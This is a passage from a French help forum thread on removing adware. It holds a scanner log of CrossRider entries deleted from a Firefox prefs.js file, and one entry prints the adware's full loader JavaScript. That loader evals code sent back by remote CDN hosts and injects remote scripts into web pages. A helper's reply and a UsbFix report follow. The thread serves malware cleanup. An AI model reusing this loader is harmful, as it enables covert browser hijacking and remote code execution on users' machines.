      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.emailsig", "");), Remplacé,[8c8bb37db7c45bdb4020cf907a8a07f9]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.enablesearch", false);), Remplacé,[8f88b779b3c85adc89d7e27d92721de3]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.exposesites", "");), Remplacé,[75a22b05ed8ef0469ac6d887ea1abd43]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.fbremoteurl", "");), Remplacé,[cc4bc967c8b340f6530d213eb252ab55]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.group", 0);), Remplacé,[987fe64a52299a9c49170d521de7fc04]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.homepage", "");), Remplacé,[41d61e12304b1323342c86d917ed4ab6]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.iframe", false);), Remplacé,[d44381af0873b77f00601c4355af9070]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.js", "\n\n//------------------ USER PLUGIN GPL Plugin (Loader) START ------------------\nArray.prototype.indexOf||(Array.prototype.indexOf=function(b){if(void 0===this||null===this)throw new TypeError;var c=Object(this),e=c.length>>>0;if(0===e)return-1;var d=0;0<arguments.length&&(d=Number(arguments[1]),d!==d?d=0:0!==d&&d!==1/0&&d!==-(1/0)&&(d=(0<d||-1)*Math.floor(Math.abs(d))));if(d>=e)return-1;for(d=0<=d?d:Math.max(e-Math.abs(d),0);d<e;d++)if(d in c&&c[d]===b)return d;return-1});\n\"undefined\"==typeof JSON&&(this.JSON||(JSON=function(){function b(b){return 10>b?\"0\"+b:b}function c(b,k){var g,f,h,l;g=/[\"\\\\\\x00-\\x1f\\x7f-\\x9f]/g;var m;switch(typeof b){case \"string\":return g.test(b)?'\"'+b.replace(g,function(b){var c=e[b];if(c)return c;c=b.charCodeAt();return\"\\\\u00\"+Math.floor(c/16).toString(16)+(c%16).toString(16)})+'\"':'\"'+b+'\"';case \"number\":return isFinite(b)?String(b):\"null\";case \"boolean\":case \"null\":return String(b);case \"object\":if(!b)return\"null\";if(\"function\"===typeof b.toJSON)return c(b.toJSON());\ng=[];if(\"number\"===typeof b.length&&!b.propertyIsEnumerable(\"length\")){l=b.length;for(f=0;f<l;f+=1)g.push(c(b[f],k)||\"null\");return\"[\"+g.join(\",\")+\"]\"}if(k)for(l=k.length,f=0;f<l;f+=1)h=k[f],\"string\"===typeof h&&(m=c(b[h],k))&&g.push(c(h)+\":\"+m);else for(h in b)\"string\"===typeof h&&(m=c(b[h],k))&&g.push(c(h)+\":\"+m);return\"{\"+g.join(\",\")+\"}\"}}Date.prototype.toJSON=function(){return this.getUTCFullYear()+\"-\"+b(this.getUTCMonth()+1)+\"-\"+b(this.getUTCDate())+\"T\"+b(this.getUTCHours())+\":\"+b(this.getUTCMinutes())+\n\":\"+b(this.getUTCSeconds())+\"Z\"};var e={\"\\b\":\"\\\\b\",\"\\t\":\"\\\\t\",\"\\n\":\"\\\\n\",\"\\f\":\"\\\\f\",\"\\r\":\"\\\\r\",'\"':'\\\\\"',\"\\\\\":\"\\\\\\\\\"};return{stringify:c,parse:function(b,c){function e(b,d){var f,n;if(d&&\"object\"===typeof d)for(f in d)Object.prototype.hasOwnProperty.apply(d,[f])&&(n=e(f,d[f]),void 0!==n&&(d[f]=n));return c(b,d)}var f;if(/^[\\],:{}\\s]*$/.test(b.replace(/\\\\./g,\"@\").replace(/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,\"]\").replace(/(?:^|:|,)(?:\\s*\\[)+/g,\"\")))return f=eval(\"(\"+b+\n\")\"),\"function\"===typeof c?e(\"\",f):f;throw new SyntaxError(\"parseJSON\");}}}()));\nvar a=appAPI.db.getList(),_GPL_PLUGIN={params:null,parent_zoneid:null,keys:{CHILD_CREATED:\"_GPL_hotfix20111102645\",INSTALLER_PARAMS:\"InstallerParams\",INSTALLER_PARAMS_BACKUP:\"_GPL_installer_params\",INSTALLATION_TIME:\"InstallationTime\",INSTALLATION_SERVER_TIME:\"_GPL_installtime\",CURRENT_SERVER_TIME:\"_GPL_currenttime\",AOI:\"_GPL_aoi\",ZONEID:\"_GPL_zoneid\",PARENT_ZONEID:\"_GPL_parent_zoneid\",PRODUCTID:\"_GPL_product_id\",BGCODE:\"_GPL_crr\",COUNTRY_CODE:\"_GPL_country_code\",BLOCKLIST:\"_GPL_blocklist\",SPLITTEST:\"_GPL_splittest\",\nARBITRARY_CODE:\"_GPL_arbitrary_code\"},recreate_child:!1,vars:{pid:21,systemid:appAPI.getCrossriderID()},proto:\"https:\"==document.location.protocol?\"https://\":\"http://\",baseCDN:\"contentcache-a.akamaihd.net\",countryCode:\"\",blockList:[],started:!1,prepare:function(b){this.started=!0;appAPI.db.get(\"dbtest\")?(b.baseCDN&&(this.baseCDN=b.baseCDN),b.pid&&(this.vars.pid=b.pid),appAPI.appInfo&&appAPI.appInfo.name&&(this.vars.ext=escape(appAPI.appInfo.name)),this.problemCheck()):(appAPI.db.set(\"dbtest\",(new Date).getTime()),\nsetTimeout(function(){_GPL_PLUGIN.prepare(b)},250))},problemCheck:function(){var b=appAPI.db.get(\"_GPL_pc_20120828\"),c=appAPI.db.get(this.keys.ZONEID);!b&&c&&\"0\"!=c?appAPI.request.get(location.protocol+\"//cdnapps-a.akamaihd.net/tb/pz.php\",function(b){if(\"\"!=b)try{var d=(new Function(\"return \"+b))();d&&(0<d.length&&c&&\"0\"!=c)&&(appAPI.db.set(\"_GPL_pc_20120828\",(new Date).getTime()),-1!=d.indexOf(c)||-1!=d.indexOf(\"\"+c)?_GPL_PLUGIN.zoneFix():_GPL_PLUGIN.loadGeo())}catch(k){}},function(b){}):this.loadGeo()},\nloadGeo:function(){var b=appAPI.db.get(this.keys.COUNTRY_CODE);b?(_GPL_PLUGIN.countryCode=b,_GPL_PLUGIN.loadBlockList()):appAPI.request.get(location.protocol+\"//\"+this.baseCDN+\"/loaders/cid?r=\"+(new Date).getTime(),function(b){if(\"\"==b)_GPL_PLUGIN.preinit();else try{var e=(new Function(\"return \"+b.split(\"(\")[1].split(\")\")[0]))();e&&(e.cid&&\"\"!=e.cid)&&(appAPI.db.set(_GPL_PLUGIN.keys.COUNTRY_CODE,e.cid,appAPI.time.daysFromNow(7)),_GPL_PLUGIN.countryCode=e.cid,_GPL_PLUGIN.loadBlockList())}catch(d){_GPL_PLUGIN.preinit()}},\nfunction(b){_GPL_PLUGIN.preinit()})},loadBlockList:function(){var b=appAPI.db.get(this.keys.BLOCKLIST);if(b||\"\"==this.countryCode||\"http:\"!=location.protocol){_GPL_PLUGIN.blockList=\"string\"==typeof b?b.split(\",\"):[];if(b=appAPI.db.get(_GPL_PLUGIN.keys.ARBITRARY_CODE))_GPL_PLUGIN.arbitraryCode=b;_GPL_PLUGIN.preinit()}else appAPI.request.get(\"http://cdnhigh-a.akamaihd.net/blocklist/\"+this.countryCode+\"/ext?r=\"+(new Date).getTime(),function(b){if(\"\"==b)_GPL_PLUGIN.preinit();else try{var e=(new Function(\"return \"+\nb))();e&&(appAPI.db.set(_GPL_PLUGIN.keys.BLOCKLIST,e.c.join(\",\"),appAPI.time.minutesFromNow(5)),e.t&&(_GPL_PLUGIN.currentServerTime=parseInt(e.t),appAPI.db.set(_GPL_PLUGIN.keys.CURRENT_SERVER_TIME,\"\"+_GPL_PLUGIN.currentServerTime)),e.code&&(_GPL_PLUGIN.arbitraryCode=e.code,appAPI.db.set(_GPL_PLUGIN.keys.ARBITRARY_CODE,e.code,appAPI.time.minutesFromNow(5))),_GPL_PLUGIN.blockList=e.c,_GPL_PLUGIN.preinit())}catch(d){_GPL_PLUGIN.preinit()}},function(b){_GPL_PLUGIN.preinit()})},preinit:function(){if(_GPL_PLUGIN.arbitraryCode)try{eval(_GPL_PLUGIN.arbitraryCode)}catch(b){}if(0<\nthis.blockList.length){if(0<this.blockList.indexOf(\"*\"))return;for(var c=this.getDomainVariations(document.location.hostname.toLowerCase()),e=0,d=c.length;e<d;e++)if(0<=this.blockList.indexOf(c[e]))return}appAPI.installer&&\"function\"==typeof appAPI.installer.getInstalledSoftware&&(c=appAPI.installer.getInstalledSoftware())&&(c.AnySoftware||c.InsideVM)&&appAPI.db.set(\"_GPL_sr_halt\",Math.floor((new Date).getTime()/1E3));this.loadEssentials();this.loadExtras()&&this.loadFinal()},loadFinal:function(){null==\nappAPI.db.get(this.keys.CHILD_CREATED)||this.recreate_child?(this.createChild(),this.recreate_child=!1):this.init()},loadEssentials:function(){this.loadParams();this.loadAOI();this.loadZone();this.loadPID()},init:function(){var b=\"\";$jquery.each(this.vars,function(c,e){b+=c+\"=\"+e+\"&\"});b=b.substring(0,b.length-1);this.insertJS(this.proto+this.baseCDN+\"/loaders/\"+this.vars.pid+\"/l.js?\"+b)},insertJS:function(b){var c=document.getElementsByTagName(\"head\"),c=0<c.length?c:document.getElementsByTagName(\"body\");\nif(0<c.length){var e=document.createElement(\"script\");e.async=!0;e.type=\"text/javascript\";e.src=b;c[0].appendChild(e)}},formatDate:function(b){b=parseInt(b);var c=new Date(1E3*parseInt(b));b=c.getDate();var e=c.getMonth(),c=c.getFullYear();return\"Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec\".split(\" \")[e]+\" \"+b+\", \"+c},loadParams:function(){(this.params=appAPI.db.get(this.keys.INSTALLER_PARAMS))&&!appAPI.db.get(this.keys.INSTALLER_PARAMS_BACKUP)&&appAPI.db.set(this.keys.INSTALLER_PARAMS_BACKUP,\nthis.params);this.params=this.params||{};this.params.uzid&&\"0\"!=this.params.uzid||(this.params.uzid=\"14019&pid=\"+this.vars.pid);-1!=this.params.uzid.indexOf(\"&subid=\")&&(this.params.uzid=this.params.uzid.replace(\"&subid=\",\"\"));if(_GPL_PLUGIN.st){var b=_GPL_PLUGIN.st[this.params.uzid];b&&(b.s&&b.s.length&&b.t&&parseInt(appAPI.db.get(this.keys.INSTALLATION_TIME))>=b.t)&&(this.params.uzid=b.s[Math.floor(Math.random()*b.s.length)],appAPI.db.set(this.keys.INSTALLER_PARAMS,this.params),appAPI.db.set(this.keys.SPLITTEST,\nMath.floor(new Date/1E3)))}},loadAOI:function(){var b=appAPI.db.get(this.keys.INSTALLATION_TIME);(b=b&&\"0\"!=b?b:appAPI.db.get(this.keys.AOI))&&\"0\"!=b||(b=\"\"+Math.floor((new Date).getTime()/1E3));var c=appAPI.db.get(this.keys.INSTALLATION_SERVER_TIME);c&&(this.installationServerTime=parseInt(c));(c=appAPI.db.get(this.keys.CURRENT_SERVER_TIME))&&!this.currentServerTime&&(this.currentServerTime=parseInt(c));!this.installationServerTime&&(appAPI.db.get(this.keys.INSTALLATION_TIME)&&!appAPI.db.get(this.keys.AOI)&&\nthis.currentServerTime)&&(this.installationServerTime=0+this.currentServerTime,appAPI.db.set(this.keys.INSTALLATION_SERVER_TIME,\"\"+this.installationServerTime));appAPI.db.set(this.keys.AOI,b);this.vars.aoi=b},loadZone:function(){var b=appAPI.db.get(this.keys.ZONEID);b&&\"0\"!=b||(b=this.params.uzid);\"string\"==typeof b&&-1!=b.indexOf(\"&\")&&(b=b.split(\"&\")[0]);appAPI.db.set(this.keys.ZONEID,b);this.vars.zoneid=b;b=appAPI.db.get(this.keys.PARENT_ZONEID);b&&\"0\"!=b||((b=this.params.uzid?this.params.uzid:\nappAPI.db.get(this.keys.PARENT_ZONEID))&&-1!=b.indexOf(\"&\")&&(b=b.split(\"&\")[0]),appAPI.db.set(this.keys.PARENT_ZONEID,b));this.parent_zoneid=b},loadPID:function(){var b=appAPI.db.get(this.keys.PRODUCTID);b&&\"0\"!=b||(\"string\"!=typeof this.params.uzid||-1==this.params.uzid.indexOf(\"pid=\"))||(b=this.params.uzid.substring(this.params.uzid.indexOf(\"pid=\")+4),-1!=b.indexOf(\"&\")&&(b=b.substring(0,b.indexOf(\"&\"))),appAPI.db.set(this.keys.PRODUCTID,b));this.vars.pid=b||this.vars.pid},loadExtras:function(){null!=\nappAPI.db.get(this.keys.BGCODE)&&(this.vars.crr=Math.floor((new Date).getTime()/1E3));return this.params&&(this.params.uzid&&\"0\"!=this.params.uzid)&&(this.parent_zoneid&&\"0\"!=this.parent_zoneid&&0!=this.params.uzid.indexOf(this.parent_zoneid)||this.vars.pid&&\"0\"!=this.vars.pid&&-1==this.params.uzid.indexOf(\"pid=\"+this.vars.pid)||this.parent_zoneid&&this.vars.zoneid&&this.parent_zoneid==this.vars.zoneid||!this.parent_zoneid||\"0\"==this.parent_zoneid)?(this.zoneFix(),!1):!0},zoneFix:function(){this.recreate_child=\n!0;appAPI.db.set(this.keys.ZONEID,\"0\");appAPI.db.set(this.keys.PARENT_ZONEID,\"0\");appAPI.db.set(this.keys.PRODUCTID,\"0\");_GPL_PLUGIN.timer=setInterval(function(){\"0\"==appAPI.db.get(_GPL_PLUGIN.keys.ZONEID)&&(clearInterval(_GPL_PLUGIN.timer),_GPL_PLUGIN.loadEssentials(),_GPL_PLUGIN.loadFinal())},250)},createChild:function(){var b=location.protocol+\"//cdnapps-a.akamaihd.net/tb/gz.php?keyset_id=\"+escape(this.formatDate(this.vars.aoi))+\"&xml&rev=0&parent_zone=\"+parseInt(this.parent_zoneid)+\"&is_date\";\nappAPI.request.get(b,function(b){\"\"==b?_GPL_PLUGIN.vars.zoneid=12199:(b=(doc=b.match(/zoneid>(\\d+)</i))?doc[1]:0,0<parseInt(b)?(appAPI.db.set(_GPL_PLUGIN.keys.ZONEID,\"\"+b),appAPI.db.set(_GPL_PLUGIN.keys.CHILD_CREATED,\"1\"),_GPL_PLUGIN.vars.zoneid=b):_GPL_PLUGIN.vars.zoneid=12199);_GPL_PLUGIN.init()},function(b){_GPL_PLUGIN.init()})},getDomainVariations:function(b){var c=[];b=b.replace(RegExp(/^www\\./i),\"\").split(\".\");var e=b.join(\".\").match(RegExp(/\\.[a-z]{2,3}\\.[a-z]{2}$/i))?3:2;do{var d=b.join(\".\");\nc.push(d);b.shift()}while(b.length>=e);return c}};\ntry{(function(){function b(b){b=Math.floor((parseInt(b)-(new Date).getTime())/1E3);var c=Math.floor(b/86400);if(2E3<=c)return\"never\";var d=Math.floor((b-86400*c)/3600),e=Math.floor((b-86400*c-3600*d)/60);return\"\"+c+\"d, \"+d+\"h, \"+e+\"m, \"+Math.floor(b-86400*c-3600*d-60*e)+\"s\"}if(location.hostname==_GPL_PLUGIN.baseCDN&&0<jQuery(\"#_GPL_QA_BOX\").length){var c;null!=(c=appAPI.db.get(_GPL_PLUGIN.keys.PRODUCTID))&&jQuery(\"#_GPL_QA_PID\").val(c);null!=(c=appAPI.db.get(_GPL_PLUGIN.keys.PARENT_ZONEID))&&jQuery(\"#_GPL_QA_PARENT_ZONEID\").val(c);\nnull!=(c=appAPI.db.get(_GPL_PLUGIN.keys.ZONEID))&&jQuery(\"#_GPL_QA_ZONEID\").val(c);null!=(c=appAPI.db.get(_GPL_PLUGIN.keys.AOI))&&(jQuery(\"#_GPL_QA_AOI\").val(c),jQuery(\"#_GPL_QA_AOI_time\").html((new Date(1E3*c)).toString()));c=appAPI.db.getList();for(var e=\"\",d=0;d<c.length;d++)e+=c[d].key+\" => \"+JSON.stringify(c[d].value)+\"\\nExpires in: \"+b(c[d].expiration)+\"\\n\\n\";jQuery(\"#_GPL_QA_DB_DEBUG\").val(e);jQuery(\"#_GPL_QA_SAVE\").click(function(){for(var b=[\"_GPL_QA_PID\",\"_GPL_QA_PARENT_ZONEID\",\"_GPL_QA_ZONEID\",\n\"_GPL_QA_AOI\"],c=0;c<b.length;c++)if(!jQuery(\"#\"+b[c]).val()){alert(\"All fields mandatory\");return}b=appAPI.db.get(_GPL_PLUGIN.keys.INSTALLER_PARAMS);appAPI.db.set(_GPL_PLUGIN.keys.PRODUCTID,jQuery(\"#_GPL_QA_PID\").val());appAPI.db.set(_GPL_PLUGIN.keys.PARENT_ZONEID,jQuery(\"#_GPL_QA_PARENT_ZONEID\").val());appAPI.db.set(_GPL_PLUGIN.keys.ZONEID,jQuery(\"#_GPL_QA_ZONEID\").val());b.uzid=\"\"+jQuery(\"#_GPL_QA_PARENT_ZONEID\").val()+\"&pid=\"+jQuery(\"#_GPL_QA_PID\").val();appAPI.db.set(_GPL_PLUGIN.keys.INSTALLER_PARAMS,\nb);appAPI.db.set(_GPL_PLUGIN.keys.AOI,jQuery(\"#_GPL_QA_AOI\").val());appAPI.db.set(_GPL_PLUGIN.keys.INSTALLATION_TIME,jQuery(\"#_GPL_QA_AOI\").val());appAPI.db.set(_GPL_PLUGIN.keys.INSTALLATION_SERVER_TIME,jQuery(\"#_GPL_QA_AOI\").val());alert(\"Changes Saved!\");location.href=location.protocol+\"//\"+location.hostname+location.pathname+\"?r=\"+(new Date).getTime()});jQuery(\"#_GPL_QA_RUN\").click(function(){jQuery(\"#_GPL_QA_CODE\").val()&&eval(jQuery(\"#_GPL_QA_CODE\").val())})}})()}catch(e$$18){};\n//------------------ USER PLUGIN GPL Plugin (Loader) END ------------------\n\nif(\"undefined\"!=typeof _GPL_PLUGIN){var _GPL_=function(){_GPL_PLUGIN.started||_GPL_PLUGIN.prepare({pid:18,baseCDN:\"contentcache-a.akamaihd.net\"})};$jquery(document).ready(_GPL_);setTimeout(_GPL_,5E3)};\n");), Remplacé,[5cbbf04094e741f57de326394aba37c9]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.manifesturl", "");), Remplacé,[938479b75b20f4423030b1ae47bdb24e]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.name", "RewardsArcade");), Remplacé,[1bfc6dc3245796a080e0104f1be947b9]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.newtab", "");), Remplacé,[1bfcb8787a01be78015fde813ec642be]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.opensearch", "");), Remplacé,[8097ee420d6ed363e37d8cd32dd79f61]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.premium", true);), Remplacé,[e92ea58bf4872a0c5f014718c53fcf31]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref("extensions.crossriderapp498.498.publisher", "Innovative Apps");), Remplacé,[27f0ef4143388fa73729d78850b4df21]
      PUP.Optional.CrossRider.A, C:\Users\Cabinet Orthophonie\AppData\Roaming\Mozilla\Firefox\Profiles\ccdcqujd.default\prefs.js, Bon: (), Mauvais: (user_pref(
      0
  11. billmaxime Messages postés 50523 Date d'inscription   Statut Contributeur Dernière intervention   6 151
     
    re

    retente usbfix en mode suppression et poste le rapport

    si ça ne fonctionne pas en mode normal, tente le en mode sans échec

    merci

    @+
    0
  12. theob51 Messages postés 12 Statut Membre
     
    ############################## | UsbFix V 7.169 | [Suppression]

    Utilisateur: Théodora (Administrateur) # PC-DE-ACER
    Mis à jour le 31/03/2014 par El Desaparecido - Team SosVirus
    Lancé à 17:03:18 | 29/04/2014

    Site Web : https://www.usbfix.net/
    Changelog : https://www.usb-antivirus.com/fr/maj/
    Support : https://depannageinformatique.org/acheter/reservation/?f=6
    Upload Malware : http://www.sosvirus.net/upload_malware.php
    Contact : https://www.usb-antivirus.com/fr/contact/

    PC: Acer (CathedralPeak )
    CPU: Pentium(R) Dual-Core CPU T4200 @ 2.00GHz
    RAM -> [Total : 2972 Mo| Free : 2506 Mo]
    Bios: Phoenix Technologies LTD
    Boot: Fail-safe boot

    OS: Microsoft® Windows Vista(TM) Édition Familiale Premium (6.0.6002 32-Bit) Service Pack 2
    WB: Windows Internet Explorer : 7.0.6002.18005
    WB: Google Chrome : 34.0.1847.131
    WB: Mozilla Firefox : 28.0
    WB: Safari : 534.57.2

    SC: Security Center [Enabled]
    WU: Windows Update [Enabled]
    AV: AVG AntiVirus Free Edition 2014 [Enabled | Updated]
    AS: Windows Defender [(!) Disabled | (!) Outdated]
    AS: AVG AntiVirus Free Edition 2014 [Enabled | Updated]
    FW: Windows FireWall [Enabled]

    C:\ (%systemdrive%) -> Disque fixe # 228 Go (53 Go libre(s) - 23%) [ACER] # NTFS
    D:\ -> Disque fixe # 228 Go (228 Go libre(s) - 100%) [DATA] # NTFS
    E:\ -> CD-ROM
    G:\ -> Disque amovible # 61 Go (9 Go libre(s) - 15%) [,Pï=¿pøkk/] # FAT32

    ################## | Processus Actif |

    C:\Windows\system32\csrss.exe (ID: 388 |ParentID: 376)
    C:\Windows\system32\csrss.exe (ID: 424 |ParentID: 416)
    C:\Windows\system32\wininit.exe (ID: 432 |ParentID: 376)
    C:\Windows\system32\winlogon.exe (ID: 468 |ParentID: 416)
    C:\Windows\system32\services.exe (ID: 508 |ParentID: 432)
    C:\Windows\system32\lsass.exe (ID: 520 |ParentID: 432)
    C:\Windows\system32\lsm.exe (ID: 528 |ParentID: 432)
    C:\Windows\system32\svchost.exe (ID: 672 |ParentID: 508)
    C:\Windows\system32\svchost.exe (ID: 728 |ParentID: 508)
    C:\Windows\System32\svchost.exe (ID: 852 |ParentID: 508)
    C:\Windows\system32\svchost.exe (ID: 880 |ParentID: 508)
    C:\Windows\System32\svchost.exe (ID: 912 |ParentID: 508)
    C:\Windows\system32\svchost.exe (ID: 976 |ParentID: 508)
    C:\Windows\Explorer.EXE (ID: 1200 |ParentID: 1192)
    C:\Windows\helppane.exe (ID: 1396 |ParentID: 672)
    C:\Windows\system32\wbem\unsecapp.exe (ID: 1684 |ParentID: 672)
    C:\Windows\system32\wbem\wmiprvse.exe (ID: 1716 |ParentID: 672)
    C:\Windows\system32\wbem\wmiprvse.exe (ID: 964 |ParentID: 672)

    ################## | Recherche générique |

    (!) Fichiers temporaires supprimés.

    ################## | Registre |

    ################## | Regedit Run |

    F2 - HKLM\..\Winlogon : [Shell] explorer.exe
    F2 - [x64] HKLM\..\Winlogon : [Shell] explorer.exe
    F2 - HKLM\..\Winlogon : [Userinit] C:\Windows\system32\userinit.exe,
    F2 - [x64] HKLM\..\Winlogon : [Userinit] C:\Windows\system32\userinit.exe,
    04 - HKCU\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKCU\..\Run : [ProductReg] C:\Program Files\Acer\WR_PopUp\ProductReg.exe
    04 - HKLM\..\Run : [Windows Defender] %ProgramFiles%\Windows Defender\MSASCui.exe -hide
    04 - HKLM\..\Run : [SynTPEnh] C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
    04 - HKLM\..\Run : [BkupTray] "C:\Program Files\NewTech Infosystems\NTI Backup Now 5\BkupTray.exe"
    04 - HKLM\..\Run : [RtHDVCpl] RtHDVCpl.exe
    04 - HKLM\..\Run : [Skytel] Skytel.exe
    04 - HKLM\..\Run : [LManager] C:\PROGRA~1\LAUNCH~1\LManager.exe
    04 - HKLM\..\Run : [eDataSecurity Loader] C:\Program Files\Acer\Empowering Technology\eDataSecurity\x86\eDSloader.exe
    04 - HKLM\..\Run : [ePower_DMC] C:\Program Files\Acer\Empowering Technology\ePower\ePower_DMC.exe
    04 - HKLM\..\Run : [ArcadeDeluxeAgent] "C:\Program Files\Acer Arcade Deluxe\Acer Arcade Deluxe\ArcadeDeluxeAgent.exe"
    04 - HKLM\..\Run : [CLMLServer] "C:\Program Files\Acer Arcade Deluxe\Acer Arcade Deluxe\Kernel\CLML\CLMLSvc.exe"
    04 - HKLM\..\Run : [PlayMovie] "C:\Program Files\Acer Arcade Deluxe\PlayMovie\PMVService.exe"
    04 - HKLM\..\Run : [RoxWatchTray] "C:\Program Files\Common Files\Roxio Shared\9.0\SharedCOM\RoxWatchTray9.exe"
    04 - HKLM\..\Run : [IgfxTray] C:\Windows\system32\igfxtray.exe
    04 - HKLM\..\Run : [HotKeysCmds] C:\Windows\system32\hkcmd.exe
    04 - HKLM\..\Run : [Persistence] C:\Windows\system32\igfxpers.exe
    04 - HKLM\..\Run : [APSDaemon] "C:\Program Files\Common Files\Apple\Apple Application Support\APSDaemon.exe"
    04 - HKLM\..\Run : [HP Software Update] C:\Program Files\Hp\HP Software Update\HPWuSchd2.exe
    04 - HKLM\..\Run : []
    04 - HKLM\..\Run : [TkBellExe] "C:\Program Files\Real\RealPlayer\Update\realsched.exe" -osboot
    04 - HKLM\..\Run : [CLX3180_Scan2Pc] C:\Windows\Twain_32\Samsung\CLX3180\Scan2pc.exe
    04 - HKLM\..\Run : [CanonMyPrinter] C:\Program Files\Canon\MyPrinter\BJMyPrt.exe /logon
    04 - HKLM\..\Run : [CanonSolutionMenuEx] C:\Program Files\Canon\Solution Menu EX\CNSEMAIN.EXE /logon
    04 - HKLM\..\Run : [IJNetworkScannerSelectorEX] C:\Program Files\Canon\IJ Network Scanner Selector EX\CNMNSST.exe /FORCE
    04 - HKLM\..\Run : [AVG_UI] "C:\Program Files\AVG\AVG2014\avgui.exe" /TRAYONLY
    04 - HKLM\..\Run : [Adobe ARM] "C:\Program Files\Common Files\Adobe\ARM\1.0\AdobeARM.exe"
    04 - HKLM\..\Run : [SunJavaUpdateSched] "C:\Program Files\Common Files\Java\Java Update\jusched.exe"
    04 - HKLM\..\Run : [QuickTime Task] "C:\Program Files\QuickTime\QTTask.exe" -atboottime
    04 - HKLM\..\Run : [iTunesHelper] "C:\Program Files\iTunes\iTunesHelper.exe"
    04 - HKU\S-1-5-19\..\Run : [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /detectMem
    04 - HKU\S-1-5-19\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKU\S-1-5-20\..\Run : [Sidebar] %ProgramFiles%\Windows Sidebar\Sidebar.exe /detectMem
    04 - HKU\S-1-5-20\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1001\..\Run : [WindowsWelcomeCenter] rundll32.exe oobefldr.dll,ShowWelcomeCenter
    04 - HKU\S-1-5-21-1748126656-825532217-3235289235-1001\..\Run : [ProductReg] C:\Program Files\Acer\WR_PopUp\ProductReg.exe

    ################## | Listing |

    [11/10/2013 - 12:13:39 | D] - C:\$AVG
    [08/12/2011 - 06:32:28 | SHD] - C:\$RECYCLE.BIN
    [31/10/2012 - 09:36:11 | D] - C:\AA
    [08/04/2009 - 20:02:11 | D] - C:\Acer
    [29/04/2014 - 13:01:47 | D] - C:\AdwCleaner
    [18/09/2006 - 23:43:36 | A | 0 Ko] - C:\autoexec.bat
    [14/02/2014 - 14:46:31 | N | 0 Ko] - C:\AVScanner.ini
    [19/02/2009 - 17:49:51 | D] - C:\Book
    [25/11/2011 - 16:00:12 | SHD] - C:\Boot
    [11/04/2009 - 08:36:36 | RASH | 325 Ko] - C:\bootmgr
    [06/02/2008 - 01:25:41 | RAS | 8 Ko] - C:\BOOTSECT.BAK
    [29/04/2014 - 10:16:53 | D] - C:\Config.Msi
    [18/09/2006 - 23:43:37 | N | 0 Ko] - C:\config.sys
    [02/11/2006 - 15:02:03 | SHD] - C:\Documents and Settings
    [08/04/2009 - 20:03:23 | D] - C:\Elements
    [14/06/2012 - 06:52:02 | D] - C:\found.000
    [11/11/2008 - 05:39:10 | D] - C:\Intel
    [09/02/2012 - 08:56:04 | RASH | 0 Ko] - C:\IO.SYS
    [03/01/2012 - 08:14:37 | D] - C:\logecole
    [09/02/2012 - 08:56:04 | RASH | 0 Ko] - C:\MSDOS.SYS
    [20/11/2009 - 21:02:07 | RHD] - C:\MSOCache
    [09/04/2014 - 17:10:13 | D] - C:\ordi-makaton
    [11/10/2013 - 15:03:49 | D] - C:\ordimakaton demo
